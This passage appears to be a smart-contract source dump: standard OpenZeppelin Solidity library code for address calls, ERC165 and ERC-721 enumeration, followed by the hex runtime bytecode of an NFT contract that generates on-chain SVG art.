(bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106102195760003560e01c8063850337621161011d578063b88d4fde116100b0578063e985e9c51161007f578063f2fde38b11610064578063f2fde38b146105e7578063fb3cc6c214610607578063fd07f9ca1461062257600080fd5b8063e985e9c51461057e578063ea21e5eb146105c757600080fd5b8063b88d4fde14610508578063bf5cb29a14610528578063c87b56dd14610548578063e83157421461056857600080fd5b806395d89b41116100ec57806395d89b411461049d5780639956ab05146104b2578063a035b1fe146104d2578063a22cb465146104e857600080fd5b80638503376214610435578063853828b6146104555780638c8d5bc71461046a5780638da5cb5b1461047f57600080fd5b806342842e0e116101b05780636352211e1161017f57806370a082311161016457806370a08231146103eb578063715018a61461040b5780637d8966e41461042057600080fd5b80636352211e146103ab57806368428a1b146103cb57600080fd5b806342842e0e1461033657806342966c68146103565780634f6ccce7146103765780635bcabf041461039657600080fd5b80631249c58b116101ec5780631249c58b146102cf57806318160ddd146102d757806323b872dd146102f65780632f745c591461031657600080fd5b806301ffc9a71461021e57806306fdde0314610253578063081812fc14610275578063095ea7b3146102ad575b600080fd5b34801561022a57600080fd5b5061023e6102393660046132d0565b610637565b60405190151581526020015b60405180910390f35b34801561025f57600080fd5b50610268610693565b60405161024a9190613b73565b34801561028157600080fd5b5061029561029036600461334c565b610725565b6040516001600160a01b03909116815260200161024a565b3480156102b957600080fd5b506102cd6102c83660046132a6565b6107d0565b005b6102cd610902565b3480156102e357600080fd5b506009545b60405190815260200161024a565b34801561030257600080fd5b506102cd610311366004613134565b610a4c565b34801561032257600080fd5b506102e86103313660046132a6565b610ad3565b34801561034257600080fd5b506102cd610351366004613134565b610b7b565b34801561036257600080fd5b506102cd61037136600461334c565b610b96565b34801561038257600080fd5b506102e861039136600461334c565b610c21565b3480156103a257600080fd5b50610268610cc5565b3480156103b757600080fd5b506102956103c636600461334c565b610d54565b3480156103d757600080fd5b5061010e5461023e90610100900460ff1681565b3480156103f757600080fd5b506102e86104063660046130df565b610ddf565b34801561041757600080fd5b506102cd610e79565b34801561042c57600080fd5b506102cd610edf565b34801561044157600080fd5b506102cd6104503660046130df565b610f99565b34801561046157600080fd5b506102cd611053565b34801561047657600080fd5b506102cd611096565b34801561048b57600080fd5b506000546001600160a01b0316610295565b3480156104a957600080fd5b50610268611168565b3480156104be57600080fd5b506102cd6104cd366004613365565b611177565b3480156104de57600080fd5b506102e8600b5481565b3480156104f457600080fd5b506102cd61050336600461326a565b6112a5565b34801561051457600080fd5b506102cd610523366004613170565b611388565b34801561053457600080fd5b5061026861054336600461334c565b611416565b34801561055457600080fd5b5061026861056336600461334c565b611436565b34801561057457600080fd5b506102e8600c5481565b34801561058a57600080fd5b5061023e610599366004613101565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156105d357600080fd5b506102cd6105e236600461330a565b611654565b3480156105f357600080fd5b506102cd6106023660046130df565b6116e0565b34801561061357600080fd5b5061010e5461023e9060ff1681565b34801561062e57600080fd5b506102cd6117bf565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d6300000000000000000000000000000000000000000000000000000000148061068d575061068d8261186c565b92915050565b6060600180546106a290613da1565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce90613da1565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b03166107b45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006107db82610d54565b9050806001600160a01b0316836001600160a01b031614156108655760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016107ab565b336001600160a01b038216148061088157506108818133610599565b6108f35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107ab565b6108fd838361194f565b505050565b61010e54610100900460ff1661095a5760405162461bcd60e51b815260206004820152601060248201527f53616c65206e6f74206163746976652e0000000000000000000000000000000060448201526064016107ab565b600c54600954106109ad5760405162461bcd60e51b815260206004820152601760248201527f4d6178696d756d20737570706c7920726561636865642e00000000000000000060448201526064016107ab565b600b543410156109ff5760405162461bcd60e51b815260206004820152601660248201527f4e6f7420656e6f7567682045746865722073656e742e0000000000000000000060448201526064016107ab565b610a0c33610112546119d5565b6101128054906000610a1d83613def565b909155506040517f10916ae91b13090d0bcf200618e82f54380b059651029aa612ec09f9ffe4e1ce90600090a2565b610a563382611b3b565b610ac85760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107ab565b6108fd838383611c43565b6000610ade83610ddf565b8210610b525760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e647300000000000000000000000000000000000000000060648201526084016107ab565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b6108fd83838360405180602001604052806000815250611388565b33610ba96000546001600160a01b031690565b6001600160a01b03161480610bc95750610113546001600160a01b031633145b610c155760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b610c1e81611e33565b50565b6000610c2c60095490565b8210610ca05760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e6473000000000000000000000000000000000000000060648201526084016107ab565b60098281548110610cb357610cb3613ec9565b90600052602060002001549050919050565b61010d8054610cd390613da1565b80601f0160208091040260200160405190810160405280929190818152602001828054610cff90613da1565b8015610d4c5780601f10610d2157610100808354040283529160200191610d4c565b820191906000526020600020905b815481529060010190602001808311610d2f57829003601f168201915b505050505081565b6000818152600360205260408120546001600160a01b03168061068d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016107ab565b60006001600160a01b038216610e5d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016107ab565b506001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610ed35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ab565b610edd6000611ef2565b565b33610ef26000546001600160a01b031690565b6001600160a01b03161480610f125750610113546001600160a01b031633145b610f5e5760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b61010e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b33610fac6000546001600160a01b031690565b6001600160a01b03161480610fcc5750610113546001600160a01b031633145b6110185760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b61011380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b476110666000546001600160a01b031690565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050610c1e57600080fd5b336110a96000546001600160a01b031690565b6001600160a01b031614806110c95750610113546001600160a01b031633145b6111155760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b600c54600954106109ff5760405162461bcd60e51b815260206004820152601760248201527f4d6178696d756d20737570706c7920726561636865642e00000000000000000060448201526064016107ab565b6060600280546106a290613da1565b3361118a6000546001600160a01b031690565b6001600160a01b031614806111aa5750610113546001600160a01b031633145b6111f65760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b61010e5460ff161561124a5760405162461bcd60e51b815260206004820152601c60248201527f4d65746164617461207065726d616e656e746c792066726f7a656e2e0000000060448201526064016107ab565b8181600d85610100811061126057611260613ec9565b61126c93910191612fc3565b506040518381527fc68c4763b92d6e0a0860fe907f5c1c7b600b759101cb568328ab7153ed495dda9060200160405180910390a1505050565b6001600160a01b0382163314156112fe5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107ab565b3360008181526006602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6113923383611b3b565b6114045760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107ab565b61141084848484611f5a565b50505050565b600d81610100811061142757600080fd5b018054909150610cd390613da1565b6000818152600360205260409020546060906001600160a01b031661149d5760405162461bcd60e51b815260206004820152601260248201527f4e6f6e6578697374656e7420746f6b656e2e000000000000000000000000000060448201526064016107ab565b600080600080611549600d8761010081106114ba576114ba613ec9565b0180546114c690613da1565b80601f01602080910402602001604051908101604052809291908181526020018280546114f290613da1565b801561153f5780601f106115145761010080835404028352916020019161153f565b820191906000526020600020905b81548152906001019060200180831161152257829003601f168201915b5050505050611fe3565b9350935093509350600061158961010f8661011087610111604051602001611575959493929190613703565b604051602081830303815290604052612587565b905060006116258883868661010d80546115a290613da1565b80601f01602080910402602001604051908101604052809291908181526020018280546115ce90613da1565b801561161b5780601f106115f05761010080835404028352916020019161161b565b820191906000526020600020905b8154815290600101906020018083116115fe57829003601f168201915b5050505050612760565b9050806040516020016116389190613a28565b6040516020818303038152906040529650505050505050919050565b336116676000546001600160a01b031690565b6001600160a01b031614806116875750610113546001600160a01b031633145b6116d35760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b6108fd61010d8383612fc3565b6000546001600160a01b0316331461173a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ab565b6001600160a01b0381166117b65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016107ab565b610c1e81611ef2565b336117d26000546001600160a01b031690565b6001600160a01b031614806117f25750610113546001600160a01b031633145b61183e5760405162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f74206f776e6572206f72206465762e000000000060448201526064016107ab565b61010e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806118ff57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061068d57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000083161461068d565b600081815260056020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038416908117909155819061199c82610d54565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6001600160a01b038216611a2b5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107ab565b6000818152600360205260409020546001600160a01b031615611a905760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107ab565b611a9c6000838361282c565b6001600160a01b0382166000908152600460205260408120805460019290611ac5908490613b86565b909155505060008181526003602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000818152600360205260408120546001600160a01b0316611bc55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016107ab565b6000611bd083610d54565b9050806001600160a01b0316846001600160a01b03161480611c0b5750836001600160a01b0316611c0084610725565b6001600160a01b0316145b80611c3b57506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611c5682610d54565b6001600160a01b031614611cd25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016107ab565b6001600160a01b038216611d4d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016107ab565b611d5883838361282c565b611d6360008261194f565b6001600160a01b0383166000908152600460205260408120805460019290611d8c908490613d3b565b90915550506001600160a01b0382166000908152600460205260408120805460019290611dba908490613b86565b909155505060008181526003602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611e3e82610d54565b9050611e4c8160008461282c565b611e5760008361194f565b6001600160a01b0381166000908152600460205260408120805460019290611e80908490613d3b565b909155505060008281526003602052604080822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600080546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b611f65848484611c43565b611f71848484846128e4565b6114105760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016107ab565b60408051808201825260048082527f4d302030000000000000000000000000000000000000000000000000000000006020808401829052845180860190955282855284015260609283928392839290839060009081905b8a5181101561238e578a818151811061205557612055613ec9565b01602001517fff00000000000000000000000000000000000000000000000000000000000000168b612088836001613b86565b8151811061209857612098613ec9565b01602001517fff00000000000000000000000000000000000000000000000000000000000000168c6120cb846002613b86565b815181106120db576120db613ec9565b016020908101516040517fff0000000000000000000000000000000000000000000000000000000000000094851692810192909252918316602182015291166022820152602301604051602081830303815290604052935061213c84612aaf565b9250612149836002613cfe565b61215590610320613d3b565b91508a612163826003613b86565b8151811061217357612173613ec9565b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f6e00000000000000000000000000000000000000000000000000000000000000141561226c57846121cc84612ba4565b6121de6121d98587613b86565b612ba4565b6121e786612ba4565b6121f46121d98789613b86565b6040516020016122089594939291906134e8565b60405160208183030381529060405294508561222384612ba4565b6122306121d98587613b86565b61223d6121d98688613b86565b61224687612ba4565b60405160200161225a9594939291906135fd565b60405160208183030381529060405295505b8a612278826003613b86565b8151811061228857612288613ec9565b6020910101517fff00000000000000000000000000000000000000000000000000000000000000167f7000000000000000000000000000000000000000000000000000000000000000141561237c57846122e184612ba4565b6122ee6121d98587613b86565b6122fb6121d98688613b86565b61230487612ba4565b6040516020016123189594939291906135fd565b60405160208183030381529060405294508561233384612ba4565b6123406121d98587613b86565b61234986612ba4565b6123566121d98789613b86565b60405160200161236a9594939291906134e8565b60405160208183030381529060405295505b612387600482613b86565b905061203a565b5060006124648b6000815181106123a7576123a7613ec9565b602001015160f81c60f81b8c6001815181106123c5576123c5613ec9565b602001015160f81c60f81b8d6002815181106123e3576123e3613ec9565b602001015160f81c60f81b8e60038151811061240157612401613ec9565b016020908101516040517fff00000000000000000000000000000000000000000000000000000000000000958616928101929092529284166021820152908316602282015291166023820152602401604051602081830303815290604052612aaf565b9050606060006124956004808f5161247c9190613d3b565b6124869190613bc3565b6124909085613bc3565b612d01565b905060788310156124dd576040518060400160405280600581526020017f73686172700000000000000000000000000000000000000000000000000000008152509150612573565b826078111580156124ef575061012c83105b15612531576040518060400160405280600681526020017f726f6275737400000000000000000000000000000000000000000000000000008152509150612573565b61012c8310612573576040518060400160405280600a81526020017f6d6f6e756d656e74616c0000000000000000000000000000000000000000000081525091505b969c959b5099509497509295505050505050565b60608151600014156125a757505060408051602081019091526000815290565b6000604051806060016040528060408152602001613f5660409139905060006003845160026125d69190613b86565b6125e09190613bc3565b6125eb906004613cfe565b905060006125fa826020613b86565b67ffffffffffffffff81111561261257612612613ef8565b6040519080825280601f01601f19166020018201604052801561263c576020820181803683370190505b509050818152600183018586518101602084015b818310156126a8576003830192508251603f8160121c168501518253600182019150603f81600c1c168501518253600182019150603f8160061c168501518253600182019150603f8116850151825350600101612650565b6003895106600181146126c2576002811461270c57612752565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152612752565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b509398975050505050505050565b6060600061276d87612d01565b60405160200161277d9190613a6d565b6040516020818303038152906040529050600061279988612d01565b6040516020016127a9919061394a565b6040516020818303038152906040529050612820828289898960008a51116127e0576040518060200160405280600081525061280b565b896127ea8f612d01565b6040516020016127fb929190613ab2565b6040516020818303038152906040525b60405160200161157596959493929190613757565b98975050505050505050565b6001600160a01b0383166128875761288281600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b6128aa565b816001600160a01b0316836001600160a01b0316146128aa576128aa8382612e33565b6001600160a01b0382166128c1576108fd81612ed0565b826001600160a01b0316826001600160a01b0316146108fd576108fd8282612f7f565b60006001600160a01b0384163b15612aa4576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290612941903390899088908890600401613b37565b602060405180830381600087803b15801561295b57600080fd5b505af19250505080156129a9575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526129a6918101906132ed565b60015b612a59573d8080156129d7576040519150601f19603f3d011682016040523d82523d6000602084013e6129dc565b606091505b508051612a515760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016107ab565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611c3b565b506001949350505050565b6000805b8251811015612b9e5760006030848381518110612ad257612ad2613ec9565b0160200151612ae4919060f81c613d52565b60ff161080612b1b575060096030848381518110612b0457612b04613ec9565b0160200151612b16919060f81c613d52565b60ff16115b15612b295750600092915050565b6001818451612b389190613d3b565b612b429190613d3b565b612b4d90600a613c38565b6030848381518110612b6157612b61613ec9565b0160200151612b73919060f81c613d52565b60ff16612b809190613cfe565b612b8a9083613b86565b915080612b9681613def565b915050612ab3565b50919050565b606081612be457505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612c0e5780612bf881613def565b9150612c079050600a83613bc3565b9150612be8565b60008167ffffffffffffffff811115612c2957612c29613ef8565b6040519080825280601f01601f191660200182016040528015612c53576020820181803683370190505b509050815b8515612cf857612c69600182613d3b565b90506000612c78600a88613bc3565b612c8390600a613cfe565b612c8d9088613d3b565b612c98906030613b9e565b905060008160f81b905080848481518110612cb557612cb5613ec9565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612cef600a89613bc3565b97505050612c58565b50949350505050565b606081612d4157505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612d6b5780612d5581613def565b9150612d649050600a83613bc3565b9150612d45565b60008167ffffffffffffffff811115612d8657612d86613ef8565b6040519080825280601f01601f191660200182016040528015612db0576020820181803683370190505b5090505b8415611c3b57612dc5600183613d3b565b9150612dd2600a86613e28565b612ddd906030613b86565b60f81b818381518110612df257612df2613ec9565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612e2c600a86613bc3565b9450612db4565b60006001612e4084610ddf565b612e4a9190613d3b565b600083815260086020526040902054909150808214612e9d576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b600954600090612ee290600190613d3b565b6000838152600a602052604081205460098054939450909284908110612f0a57612f0a613ec9565b906000526020600020015490508060098381548110612f2b57612f2b613ec9565b6000918252602080832090910192909255828152600a90915260408082208490558582528120556009805480612f6357612f63613e9a565b6001900381819060005260206000200160009055905550505050565b6000612f8a83610ddf565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b828054612fcf90613da1565b90600052602060002090601f016020900481019282612ff15760008555613055565b82601f10613028578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613055565b82800160010185558215613055579182015b8281111561305557823582559160200191906001019061303a565b50613061929150613065565b5090565b5b808211156130615760008155600101613066565b80356001600160a01b038116811461309157600080fd5b919050565b60008083601f8401126130a857600080fd5b50813567ffffffffffffffff8111156130c057600080fd5b6020830191508360208285010111156130d857600080fd5b9250929050565b6000602082840312156130f157600080fd5b6130fa8261307a565b9392505050565b6000806040838503121561311457600080fd5b61311d8361307a565b915061312b6020840161307a565b90509250929050565b60008060006060848603121561314957600080fd5b6131528461307a565b92506131606020850161307a565b9150604084013590509250925092565b6000806000806080858703121561318657600080fd5b61318f8561307a565b935061319d6020860161307a565b925060408501359150606085013567ffffffffffffffff808211156131c157600080fd5b818701915087601f8301126131d557600080fd5b8135818111156131e7576131e7613ef8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561322d5761322d613ef8565b816040528281528a602084870101111561324657600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561327d57600080fd5b6132868361307a565b91506020830135801515811461329b57600080fd5b809150509250929050565b600080604083850312156132b957600080fd5b6132c28361307a565b946020939093013593505050565b6000602082840312156132e257600080fd5b81356130fa81613f27565b6000602082840312156132ff57600080fd5b81516130fa81613f27565b6000806020838503121561331d57600080fd5b823567ffffffffffffffff81111561333457600080fd5b61334085828601613096565b90969095509350505050565b60006020828403121561335e57600080fd5b5035919050565b60008060006040848603121561337a57600080fd5b83359250602084013567ffffffffffffffff81111561339857600080fd5b6133a486828701613096565b9497909650939450505050565b600081518084526133c9816020860160208601613d75565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000815161340d818560208601613d75565b9290920192915050565b8054600090600181811c908083168061343157607f831692505b602080841082141561346c577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b81801561348057600181146134af576134dc565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008616895284890196506134dc565b60008881526020902060005b868110156134d45781548b8201529085019083016134bb565b505084890196505b50505050505092915050565b600086516134fa818460208b01613d75565b7f204d0000000000000000000000000000000000000000000000000000000000009083019081528651613534816002840160208b01613d75565b7f2000000000000000000000000000000000000000000000000000000000000000600292909101918201528551613572816003840160208a01613d75565b7f20560000000000000000000000000000000000000000000000000000000000006003929091019182015284516135b0816005840160208901613d75565b7f20480000000000000000000000000000000000000000000000000000000000006005929091019182015283516135ee816007840160208801613d75565b01600701979650505050505050565b6000865161360f818460208b01613d75565b7f204d0000000000000000000000000000000000000000000000000000000000009083019081528651613649816002840160208b01613d75565b7f2000000000000000000000000000000000000000000000000000000000000000600292909101918201528551613687816003840160208a01613d75565b7f20480000000000000000000000000000000000000000000000000000000000006003929091019182015284516136c5816005840160208901613d75565b7f20560000000000000000000000000000000000000000000000000000000000006005929091019182015283516135ee816007840160208801613d75565b600061370f8288613417565b865161371f818360208b01613d75565b61372b81830188613417565b915050845161373e818360208901613d75565b61374a81830186613417565b9998505050505050505050565b7f7b226e616d65223a22000000000000000000000000000000000000000000000081526000875161378f816009850160208c01613d75565b7f222c20226465736372697074696f6e223a22000000000000000000000000000060099184019182015287516137cc81601b840160208c01613d75565b7f222c2022696d616765223a22646174613a696d6167652f7376672b786d6c3b62601b92909101918201527f61736536342c0000000000000000000000000000000000000000000000000000603b8201528651613830816041840160208b01613d75565b7f222c202261747472696275746573223a5b7b2274726169745f74797065223a22604192909101918201527f5374796c65222c2276616c7565223a2200000000000000000000000000000000606182015261374a61392161391b6138f26138ec61389d607187018c6133fb565b7f227d2c207b2274726169745f74797065223a20224c696768746e657373222c2081527f2276616c7565223a220000000000000000000000000000000000000000000000602082015260290190565b896133fb565b7f227d5d0000000000000000000000000000000000000000000000000000000000815260030190565b866133fb565b7f207d000000000000000000000000000000000000000000000000000000000000815260020190565b7f4f726e616d656e74206973207377617070696e6720746865206163746f72732e81527f20546865206672616d65206265636f6d696e672074686520636f6e74656e742e60208201527f204f726e616d656e7420697320616e206f6e2d636861696e2064657465726d6960408201527f6e6973746963616c6c792067656e657261746564205356472e204e6f2e200000606082015